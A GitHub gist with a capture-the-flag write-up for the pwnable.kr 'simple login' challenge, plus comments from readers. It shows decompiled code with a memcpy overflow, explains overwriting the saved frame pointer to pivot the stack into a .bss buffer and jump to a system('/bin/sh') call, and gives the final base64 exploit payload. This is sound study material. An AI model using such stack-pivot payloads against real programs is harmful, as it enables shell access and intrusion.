Skip to content

Instantly share code, notes, and snippets.

@ihciah
Created December 20, 2015 18:27
Show Gist options
  • Save ihciah/d52703a915883621963d to your computer and use it in GitHub Desktop.
Save ihciah/d52703a915883621963d to your computer and use it in GitHub Desktop.
Pwnable.kr simple login writeup

Pwnable.kr simple login writeup

ihciah@gmail.com

(Too lazy to review lessons before exam... Load with IDA and found:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

We can notice that int v4 is at bp-8h.

str_len = Base64Decode(&s_input, &buf);
  if ( str_len > 12 )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, buf, str_len);
    if ( auth(str_len) == 1 )
      correct();
  }

But in main, it's length can be up to 12. To control EIP, we can overflow the buffer and replace EBP to change the stack, when it leaves, it will mov esp,ebp;pop ebp;; and then it return, it will jump to [esp]. Jump here we can get a shell:

.text:08049284                 mov     dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B                 call    system

And since $input is in .bss section and the program has no PIE, we can simply change the stack to $input.

.bss:0811EB40 input

The final exp:

>>> print "ABCD\x84\x92\x04\x08\x40\xeb\x11\x08".encode('base64')
QUJDRISSBAhA6xEI
@hexawayy
Copy link

Please explain this write up in detail i couldn't understand this write.
Please tell how this exploit work.

@dmknght
Copy link

dmknght commented Jun 5, 2024

Please explain this write up in detail i couldn't understand this write. Please tell how this exploit work.

I commented a link to another write up. But after 1 more hour to debug, I decided to remove and type instead (I think it's a better way to learn by myself).

  • First, program is vulnerable at function auth, when memcpy is called. Notice that input length (decoded base64) is up to 12, but the buffer in auth has only 8. Then we can control ebp in function auth. ebp will be called after function main exit.
  • It took me an hour to understand: If I use payload "A" * 8 + <gadget>, before leave is executed, ebp will be the first instruction of function I want to execute. However, after leave, it's equal to move esp, ebp; pop ebp, which means esp will be ebp, but eip uses $ebp+4 (bottom of ebp is higher, so after pop executed, ebp's address increased).
  • By that logic, we can control eip by putting gadget's address that we wanted (which I failed in second) to $ebp+4, then use a gadget which is a static address of buffer. I can't explain this one clearly, but when leave executes, the value of $ebp+4 (also eip) is where we want program to execute eventually. I believe stack layout of this will be value of ebp -> address of any static object ($input in this very writeup), value of $ebp + 4 -> address of instruction (gadget).

p/s: when I failed. value in stack was instructions, so eip took value at $ebp+4 as a pointer instead of instruction.
Edit: how to exploit this? Now we are having $ebp+4 will be called. So it's easiest to make ebp contains our payload (which must be decoded from base64). That being said we should use variable input after Base64decode is called, which should be at main + 226 (instruction 0x080493ef <+226>: mov DWORD PTR [esp],0x811eb40). I hope with my explain, you can understand this challenge and you can do it by yourself :D

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment